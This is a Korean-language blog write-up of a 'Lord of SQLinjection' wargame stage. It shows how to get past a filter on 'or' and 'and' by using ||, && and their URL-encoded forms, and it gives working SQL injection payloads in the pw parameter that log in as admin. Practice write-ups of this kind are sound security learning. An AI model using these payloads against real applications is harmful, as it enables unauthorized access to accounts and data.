필터링 되는 부분은 위에 빨간색으로 표시된 부분이고, 우리가 변조할 수 있는 파라미터는 pw 뿐이다.
앞선 문제들과 동일하게 id = 'guest' 쪽은 건들일 수 없으니 pw에 id = admin이 들어가도록 조치해야 한다.
일단 필터링 되는 부분에 추가된 사항은 or 과 and 가 필터링된다는 것이다.
그럼 or 과 and 대신 사용할 수 있는 기법을 알아보자.
or 우회 기법
|| |
%7c%7c |
and 우회 기법
&& |
%26%26 |
특수문자를 두번사용하거나, url 인코딩을 진행하는 것이다.
단, url에서 &기호는 예약문자로, 여러가지 파라미터를 전달할 때 param1=test¶m2=admin 이런식으로 연결자로 쓰이기 때문에 유의해야 한다.
먼저,
pw=' ' || 1=1 && id = 'admin ' 이렇게 입력했더니 || 은 인식되었지만 && 은 필터링된 건지 인식하지 못한건지 공격이 먹히지 않았다.
그래서
pw=' ' || 1=1 && id = 'admin ' 에서 &&대신 인코딩을 진행하여 %26%26으로 바꿔 대입해보았다.
pw=%27%20||%201=1%20%26%26%20id%20=%20%27admin
그랬더니 성공!
똑같이 || 부분을 %7c로 둘다 인코딩해도 성공한다.
pw=%27%20%7c%7c%201=1%20%26%26%20id%20=%20%27admin
solve!!!!!!!!!!!!!!
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step.8 troll 풀이 (0) | 2023.06.13 |
---|---|
[LOS] step.7 orge 풀이 (0) | 2023.06.13 |
[LOS] step.5 wolfman풀이 (0) | 2023.06.12 |
[LOS] step.3 goblin 풀이 (0) | 2023.06.12 |
[LOS] step.4 orc 풀이 (0) | 2023.06.12 |